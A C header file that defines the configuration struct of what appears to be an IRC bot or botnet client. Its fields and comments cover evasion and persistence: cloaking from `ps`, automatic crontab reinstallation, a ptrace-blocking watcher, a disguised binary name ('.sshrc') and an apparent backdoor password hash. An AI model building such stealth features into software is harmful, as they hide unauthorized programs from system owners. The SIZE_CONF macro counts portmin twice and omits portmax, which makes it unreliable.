settings.h 2.1 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556
  1. #ifndef _SETTINGS_H
  2. #define _SETTINGS_H
  3. #define PREFIXLEN 16
  4. #define SETTINGS_VER 1
  5. typedef struct settings_struct {
  6. char prefix[PREFIXLEN];
  7. /* -- STATIC -- */
  8. // char hash[33];
  9. char hash[49];
  10. char packname[65];
  11. char shellhash[65];
  12. char bdhash[65];
  13. char owners[513];
  14. char hubs[513];
  15. char owneremail[385];
  16. char salt1[33];
  17. char salt2[17];
  18. char dcc_prefix[17];
  19. char features[17];
  20. /* -- DYNAMIC -- */
  21. char bots[1025];
  22. char uid[17];
  23. char autouname[17]; /* should we just auto update any changed in uname output? */
  24. char pscloak[17]; /* should the bots bother trying to cloak `ps`? */
  25. char autocron[17]; /* should the bot auto crontab itself? */
  26. char watcher[17]; /* spawn a watcher pid to block ptrace? */
  27. char uname[113];
  28. char username[49]; /* shell username */
  29. char datadir[1025];
  30. char homedir[1025]; /* homedir */
  31. char binpath[1025]; /* path to binary, ie: ~/ */
  32. char binname[113]; /* binary name, ie: .sshrc */
  33. char portmin[17]; /* for hubs, the reserved port range for incoming connections */
  34. char portmax[17]; /* for hubs, the reserved port range for incoming connections */
  35. /* -- PADDING -- */
  36. char padding[7];
  37. } settings_t;
  38. #define SIZE_PACK sizeof(settings.hash) + sizeof(settings.packname) + sizeof(settings.shellhash) + \
  39. sizeof(settings.bdhash) + sizeof(settings.owners) + sizeof(settings.hubs) + sizeof(settings.owneremail) + \
  40. sizeof(settings.salt1) + sizeof(settings.salt2) + sizeof(settings.dcc_prefix) + sizeof(settings.features)
  41. #define SIZE_CONF sizeof(settings.bots) + sizeof(settings.uid) + sizeof(settings.autouname) + \
  42. sizeof(settings.pscloak) + sizeof(settings.autocron) + sizeof(settings.watcher) + sizeof(settings.uname) + \
  43. sizeof(settings.username) + sizeof(settings.homedir) + sizeof(settings.binpath) + sizeof(settings.binname) + \
  44. sizeof(settings.portmin) + sizeof(settings.portmin) + sizeof(settings.datadir)
  45. #define SIZE_PAD sizeof(settings.padding)
  46. #define SIZE_SETTINGS sizeof(settings_t)
  47. extern settings_t settings;
  48. #endif /* !_SETTINGS_H */